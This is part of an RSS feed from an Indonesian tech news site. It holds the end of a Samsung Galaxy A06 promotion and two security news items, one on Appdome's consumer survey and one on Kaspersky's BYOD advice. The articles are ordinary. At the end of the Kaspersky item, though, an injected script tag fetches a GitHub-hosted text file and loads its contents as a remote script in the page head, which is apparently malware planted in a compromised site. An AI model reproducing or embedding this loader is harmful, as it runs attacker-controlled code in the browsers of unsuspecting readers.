<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="876" height="952" src="https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-cek-pebaruan-perangkat-lunak.png" alt="" class="wp-image-12843" srcset="https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-cek-pebaruan-perangkat-lunak.png 876w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-cek-pebaruan-perangkat-lunak-276x300.png 276w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-cek-pebaruan-perangkat-lunak-768x835.png 768w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-cek-pebaruan-perangkat-lunak-370x402.png 370w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-cek-pebaruan-perangkat-lunak-270x293.png 270w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-cek-pebaruan-perangkat-lunak-570x619.png 570w, https://nativzen.com/wp-content/uploads/2024/10/Tata-cara-cek-pebaruan-perangkat-lunak-740x804.png 740w" sizes="(max-width: 876px) 100vw, 876px" /></figure>



<p>Itulah enam cara setting ponsel agar data pribadi kamu tetap aman di Galaxy A06 yang sudah diproteksi dengan Samsung Knox Vault. Sekarang, kamu juga sudah bisa mendapatkan smartphone tersebut di toko offline maupun online di seluruh Indonesia.</p>



<p>Menariknya lagi, ada penawaran cashback hingga Rp 100.000 sehingga harga Galaxy A06 menjadi Rp 1.499.000 (4GB/64GB) dan Rp 1.699.000 (4GB/128GB) dan promo menarik senilai Rp 575.000.</p>



<p>Promo tersebut mencakup Travel Adapter 25W, paket data XL 36GB hingga 12 bulan, dan Youtube Premium selama 2 bulan. Kamu juga bisa melakukan pembelian dengan Finance+ dengan harga cicilan mulai dari Rp 153.398/bulan.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Appdome: Ancaman Keamanan Aplikasi Seluler Kian Meningkat</title>
		<link>https://nativzen.com/2024/07/19/appdome-ancaman-keamanan-aplikasi-seluler-kian-meningkat/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Fri, 19 Jul 2024 04:27:58 +0000</pubDate>
				<category><![CDATA[APPS]]></category>
		<category><![CDATA[aplikasi seluler]]></category>
		<category><![CDATA[appdome]]></category>
		<category><![CDATA[cybersecurity]]></category>
		<category><![CDATA[keamanan]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=9901</guid>

					<description><![CDATA[Survei Keamanan Konsumen Global yang dirilis Appdome mengungkapkan permintaan tertinggi untuk keamanan aplikasi seluler kian nyata.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; <a href="https://www.appdome.com/" target="_blank" rel="noreferrer noopener">Appdome</a>, platform solusi utama yang ekonomis untuk layanan pertahanan aplikasi seluler, beberapa waktu lalu telah mengumumkan hasil Survei Konsumen Global Tahunan ke-4 tentang Keamanan Aplikasi Seluler di  <a href="https://lisbon.globalappsec.org/" target="_blank" rel="noreferrer noopener">konferensi OWASP Global AppSec </a>. </p>



<p>Survei tersebut mengungkap bahwa pengguna akhir perangkat seluler sangat menyadari akan meningkatnya ancaman keamanan, penipuan, dan privasi saat mereka menggunakan aplikasi seluler dan menuntut agar brand serta perusahaan seluler segera bergerak untuk menangkal segala ancaman yang ada.</p>



<p>Untuk membuat survey tahun 2024 tersebut, Appdome bermitra dengan Open Web Application Security Project (OWASP) dan menyertakan pertanyaan dalam survey tersebut yang mengukur keselarasan konsumen dengan standar <a href="https://mas.owasp.org/" target="_blank" rel="noreferrer noopener">OWASP Mobile Application Security (MAS)</a> serta dengan standar anti penipuan dan tujuan siber lainnya. </p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="578" height="302" src="https://nativzen.com/wp-content/uploads/2024/07/image002-13.jpg" alt="" class="wp-image-9902" srcset="https://nativzen.com/wp-content/uploads/2024/07/image002-13.jpg 578w, https://nativzen.com/wp-content/uploads/2024/07/image002-13-300x157.jpg 300w, https://nativzen.com/wp-content/uploads/2024/07/image002-13-370x193.jpg 370w, https://nativzen.com/wp-content/uploads/2024/07/image002-13-270x141.jpg 270w, https://nativzen.com/wp-content/uploads/2024/07/image002-13-570x298.jpg 570w" sizes="(max-width: 578px) 100vw, 578px" /></figure>



<p>Suara konsumen global sudah jelas bahwa mereka tidak hanya menuntut perlindungan yang termasuk dalam standar OWASP MAS, namun data dari survey tersebut juga mengungkapkan tantangan bagi seluruh industri seluler untuk meningkatkan perlindungan aplikasi seluler yang canggih, secara global.</p>



<p>“Kami sangat bersemangat untuk menghadirkan suara konsumen ke dalam standar keamanan seluler OWASP. Ini bertujuan agar tim keamanan dan pengembangan aplikasi seluler terus memperbarui perlindungan aplikasi seluler mereka,&#8221; ujar Andrew Van Der Stock, Direktur Eksekutif OWASP. </p>



<p>Dijelasskan lebih lanjut oleh Andrew bahwa mengetahui perlindungan apa yang diharapkan oleh pengguna akhir global ketika mereka menggunakan aplikasi seluler dalam kehidupan dan pekerjaan mendukung upaya OWASP untuk memastikan perlindungan aplikasi seluler yang kuat untuk semua orang.</p>



<p>Data survei tahun 2024 menambah 120.000 lebih suara konsumen yang dikumpulkan dari 12 negara selama empat tahun terakhir, menjadikan Appdome Global Consumer Survey sebagai kumpulan data konsumen terbesar mengenai keamanan aplikasi seluler, privasi, anti-penipuan, dan vektor serangan lainnya. </p>



<p>Di sisi lain, aplikasi seluler memang telah menjadi pusat perhatian dalam kehidupan sehari-hari konsumen. Perlindungan aplikasi seluler kini menjadi hal yang penting dalam cara konsumen memilih dan menggunakannya. Juga penting dalam menentukan pilihan mereka untuk tetap menggunakan dan mempromosikan suatu brand.</p>



<p>Hal senada juga diungkap oleh Tom Tovar, salah satu pencipta dan CEO Appdome. Ia mengatakan bahwa para profesional di bidang siber telah bekerja tanpa kenal lelah untuk menjaga aplikasi, jaringan, transaksi, dan pengguna agar tetap aman.</p>



<p>Sementara itu, Tom juga mengungkapkan bahwa teknologi Kecerdasan Buatan (AI; <em>Artificial Intelligence</em>) dan serangan lainnya meningkat. Oleh karena itu, konsumen global terus bergerak maju dalam mengakui pentingnya upaya ini.</p>



<p>&#8220;Sangat jelas bahwa pengguna aplikasi seluler sangat mendukung perluasan mandat dunia maya, anti-penipuan, anti-malware, anti-bot, dan standar OWASP yang lebih tinggi, dalam aplikasi seluler sebuah brand dan perusahaan di mana pun,&#8221; jelas Tom.</p>



<p>Beberapa tren peningkatan terungkap dalam data tahun 2024, termasuk penggunaan aplikasi seluler oleh konsumen, kesadaran mereka terhadap vektor serangan seluler, meningkatnya ekspektasi akan perlindungan dalam aplikasi, dan kesediaan konsumen untuk menjadi pendukung<em> brand</em> jika dilindungi. </p>



<p>Berikut adalah beberapa ekspektasi pengguna dunia maya terhadap aplikasi seluler yang mencapai angka tertinggi dalam Survei tahun 2024:</p>



<ul>
<li><strong>Seluler vs. Web</strong>: Sebanyak 55.3% konsumen global – tingkat tertinggi yang pernah ada – mengatakan mereka lebih menggunakan aplikasi seluler daripada web, mengerdilkan preferensi untuk online/web sebesar 22,5%. Selain itu, sebesar 63,4% — tingkat tertinggi yang pernah ada — mengatakan bahwa mereka menggunakan lebih dari 6 aplikasi seluler setiap minggunya.</li>



<li><strong>Perlindungan Total:</strong> Sebanyak 99.5% konsumen global – tingkat tertinggi yang pernah ada- menuntut perlindungan total dalam aplikasi seluler termasuk data aplikasi seluler, integritas akun, login, penyimpanan data, data dalam perjalanan, perlindungan dari malware dan penipuan.</li>



<li><strong>Rekayasa Sosial:</strong>  Sebanyak 70.6% konsumen global —tertinggi yang pernah ada— pernah atau mengenal seseorang yang pernah manjadi korban rekayasa sosial atau serangan penipuan.</li>



<li><strong>Pencegahan Penipuan:</strong> Sebesar 83.5% konsumen global — tertinggi yang pernah ada—menuntut <em>brand</em> untuk secara proaktif mencegah terjadinya penipuan seluler daripada mengganti biaya yang mereka keluarkan setelah terjadinya penipuan.</li>



<li><strong>Fitur vs. Keamanan:</strong> Sebanyak 87.4% — tertinggi yang pernah ada—mengatakan bahwa perlindungan aplikasi seluler sama atau lebih penting dibandingkan fitur aplikasi seluler saat mereka memutuskan untuk menggunakan aplikasi seluler, dengan sebesar 90,6% mengatakan mereka mengevaluasi klaim keamanan brand sebelum mengunduh aplikasi seluler.</li>



<li><strong>Takut Tidak Bertindak:</strong> Jumlah konsumen global yang takut “pengembang tidak peduli” dalam melindungi aplikasi seluler telah meningkat sebesar 258%, melampaui survei empat tahun, yang berjumlah 1 dari 4 responden.</li>
</ul>



<p>Konsumen masih dalam perspektif yang kuat mengenai tren utama berikut dalam survei tahun 2024:</p>



<ul>
<li><strong>Menghargai Brand yang Aman:</strong>  Sebanyak 94.6% responden —tertinggi yang pernah ada—menyatakan mereka akan menjadi pendukung brand untuk brand ponsel yang melindungi aplikasi dan penggunaan mereka. Lebih dari separuh (53.6%) mengatakan mereka akan menggunakan bentuk dukungan tertinggi, seperti ulasan toko aplikasi dukungan media sosial.</li>



<li><strong>Konsekuensi untuk Aplikasi yang Tidak Aman:</strong>  Sebanyak 96.7% responden —tingkat tertinggi yang pernah ada— menyatakan bahwa mereka akan meninggalkan brand seluler karena gagal melindungi aplikasi dan penggunaanya, dan sebanyak 73.9% mengatakan mereka juga akan mendorong orang lain untuk meninggalkan brand seluler tersebut.</li>
</ul>



<p>“Jelas bahwa konsumen menganggap serius janji-janji merek seluler dan munculnya ancaman serangan AI. Seperti yang kita tahu, serangan berbasis AI akan membawa risiko aplikasi seluler ke tingkat yang baru,&#8221; ujar Alan Bavosa, VP Produk Keamanan di Appdome.</p>



<p>Alan juga menambahkan bahwa brand serta perusahaan seluler perlu mengubah model pengiriman siber mereka untuk menghadapi ancaman yang semakin cepat serta menjaga kepercayaan dan keterlibatan pengguna pada platform seluler.</p>



<p>Untuk mendapatkan “Survei Harapan Konsumen Global terhadap Keamanan Aplikasi Seluler” Tahunan ke-4 dari Appdome, silakan kunjungi <a href="https://www.appdome.com/mobile-consumer-cyber-security-survey-2024/" target="_blank" rel="noreferrer noopener">Appdome Survey</a>. Dan untuk mempelajari lebih lanjut tentang standar OWASP Mobile App Security (MAS), silakan kunjungi <a href="https://mas.owasp.org/" target="_blank" rel="noreferrer noopener">OWASP MAS</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kaspersky: Kebijakan BYOD Salah Kaprah Timbulkan Masalah</title>
		<link>https://nativzen.com/2024/02/21/kaspersky-kebijakan-byod-salah-kaprah-timbulkan-masalah/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Wed, 21 Feb 2024 00:31:56 +0000</pubDate>
				<category><![CDATA[NEWS]]></category>
		<category><![CDATA[byod]]></category>
		<category><![CDATA[kaspersky]]></category>
		<category><![CDATA[keamanan]]></category>
		<category><![CDATA[security]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=4009</guid>

					<description><![CDATA[Kebijakan Bring Your Own Device (BYOD) yang populer telah menciptakan "garis kabur" antara pekerjaan dan kehidupan pribadi.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Tren keamanan siber secara umum mendorong sejumlah perusahaan untuk mengambil posisi proaktif. Sebab, mereka kini harus melindungi diri dalam kondisi digitalisasi yang pesat, kebutuhan tinggi akan keterampilan dan sumber daya di tengah ketidakpastian geopolitik serta pertumbuhan ekonomi berkelanjutan.</p>



<p>Di Indonesia sendiri, misalnya, beberapa insiden siber yang menonjol tercatat tahun lalu yang<br>menyasar sejumlah perusahaan mulai dari perbankan, asuransi, hingga pemerintah. Penelitian<br>Kaspersky menemukan bahwa lebih dari 77% perusahaan mengalami setidaknya satu insiden siber dalam dua tahun terakhir.</p>



<p>Selain itu, era Bring Your Own Device (BYOD) yang populer dalam beberapa tahun terakhir mulai diminati di Tanah Air. Hal inilah yang telah menciptakan &#8220;garis kabur&#8221; antara pekerjaan dan kehidupan pribadi banyak karyawan di perusahaan. </p>



<p>Adanya kebijakan ini membuat karyawan seringkali menggunakan perangkat pribadi untuk terhubung ke jaringan perusahaan. Hal ini dapat menimbulkan ancaman keamanan yang serius jika perangkat tersebut tidak memiliki perlindungan yang memadai terhadap serangan siber.</p>



<p>Telemetri terbaru Kaspersky pada tahun 2023 di Indonesia mendeteksi lebih dari 50 juta upaya ancaman lokal. Data ini diperoleh dari ikhtisar ancaman triwulanan yang didasarkan pada pemrosesan dan pengumpulan data dari pengguna sukarela yang menggunakan Kaspersky Security Network (KSN).</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="673" height="84" src="https://nativzen.com/wp-content/uploads/2024/02/Screenshot-600.png" alt="" class="wp-image-4010" srcset="https://nativzen.com/wp-content/uploads/2024/02/Screenshot-600.png 673w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-600-300x37.png 300w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-600-370x46.png 370w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-600-270x34.png 270w, https://nativzen.com/wp-content/uploads/2024/02/Screenshot-600-570x71.png 570w" sizes="(max-width: 673px) 100vw, 673px" /></figure>



<h3 class="wp-block-heading">Penurunan ancaman lokal</h3>



<p>Secara umum, 41,1% pengguna diserang oleh ancaman lokal sepanjang tahun 2023. Dalam tahun ini, produk Kaspersky mendeteksi sebanyak 51.261.542 insiden lokal pada komputer partisipan KSN di Indonesia. Angka tersebut turun 9,21% dibandingkan periode yang sama tahun 2022 sebanyak 56.463.262 deteksi. </p>



<p>Data tersebut juga menempatkan Indonesia pada posisi ke-66 secara global. Worm dan virus file merupakan penyebab sebagian besar insiden tersebut. Data ini menunjukkan seberapa sering pengguna diserang oleh malware yang menyebar melalui drive USB yang dapat dilepas, CD dan DVD, serta metode â€œofflineâ€ lainnya.</p>



<p>Peringkat Negara Persentase pengguna yang diserang oleh ancaman lokal</p>



<ol>
<li>Turkmenistan 67.4%</li>



<li>Afghanistan 64.6%</li>



<li>Yemen 64.6%</li>



<li>Tajikistan 63.9%</li>



<li>Myanmar 60.0%</li>



<li>Uzbekistan 59.0%</li>



<li>Burundi 58.2%</li>



<li>Bangladesh 58.1%</li>



<li>Algeria 57.6%</li>



<li>Belarus 57.2%</li>
</ol>



<p>â€œGagasan utama di balik keamanan BYOD yang tepat adalah bahwa perangkat pribadi harus<br>diperlakukan sama seperti perangkat milik perusahaan,&#8221; jelas Yeo Siang Tiong, General Manager untuk Asia Tenggara di Kaspersky.</p>



<p>Ditambahkan oleh Yeo Siang Tiong bahwa demikian pula, laptop dan ponsel cerdas yang digunakan di luar lingkungan perusahaan harus dilindungi seperti halnya perangkat yang berada di balik firewall dan solusi perlindungan jaringan di kantor. </p>



<p>Kaspersy juga selalu menyerukan kepada setiap perusahaan untuk membuat kebijakan keamanan yang harus diterapkan di semua perangkat, apa pun platformnya, dan rangkaian keamanan bisnis tradisional kini tidak dapat menerapkan aturan dan fitur keamanan untuk ponsel cerdas dan tablet. </p>



<p>&#8220;Kami juga terus mengundang sejumlah perusahaan untuk berbagi intelijen antara lembaga-lembaga publik dan swasta, mengembangkan regulasi yang relevan dan melanjutkan kolaborasi erat dalam keamanan siber serta meningkatkan kemampuan untuk merespons dengan cepat,&#8221; pungkas Yeo Siang Tiong.</p>



<p>Cara mengantisipasi keamanan siber perusahaan di era digital ini:</p>



<ul>
<li>Meskipun para ahli keamanan siber harus meningkatkan keterampilan mereka secara<br>berkala, Kaspersky juga menyoroti pentingnya pelatihan semua staf â€“ di luar departemen TI â€“<br>untuk menciptakan budaya keamanan siber di seluruh perusahaan.</li>



<li>Memberdayakan karyawan untuk menjadi lebih sadar akan dunia maya. Baik ketika bekerja<br>dari rumah atau di kafe, pekerjaan jarak jauh menginspirasi perubahan baru dalam perilaku<br>dan pola pikir karyawan.</li>



<li>Ambil langkah-langkah perlindungan data utama. Selalu lindungi data dan perangkat<br>perusahaan, termasuk mengaktifkan perlindungan kata sandi, mengenkripsi perangkat kerja,<br>dan memastikan data dicadangkan.</li>



<li>Meningkatkan literasi digital. Teknologi akan terus membentuk masa depan dunia kerja, dan<br>dunia usaha harus mengimbanginya dengan meningkatkan level digital.</li>



<li>Pastikan perusahaan menggunakan versi terbaru dari sistem operasi pilihannya, dengan fitur<br>pembaruan otomatis diaktifkan untuk memastikan perangkat lunak selalu terbarui.</li>



<li>Menggunakan produk titik akhir khusus yang menerapkan manajemen minimal memungkinkan karyawan melakukan pekerjaan inti mereka, namun tetap terlindungi dari<br>malware, ransomware, pengambilalihan akun, penipuan online, dan lainnya seperti solusi<br><a href="https://www.kaspersky.com/small-to-medium-business-security/endpoint-select">Kaspersky Endpoint Security for Business</a>.</li>



<li>Berikan tim SOC akses ke intelijen ancaman (TI) terbaru. <a href="https://www.kaspersky.com/enterprise-security/threat-intelligence">Portal Intelijen Ancaman Kaspersky</a> adalah satu titik akses ke TI Kaspersky, yang menyediakan data dan wawasan serangan siber yang dikumpulkan oleh tim kami selama 20 tahun terakhir.</li>
</ul>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
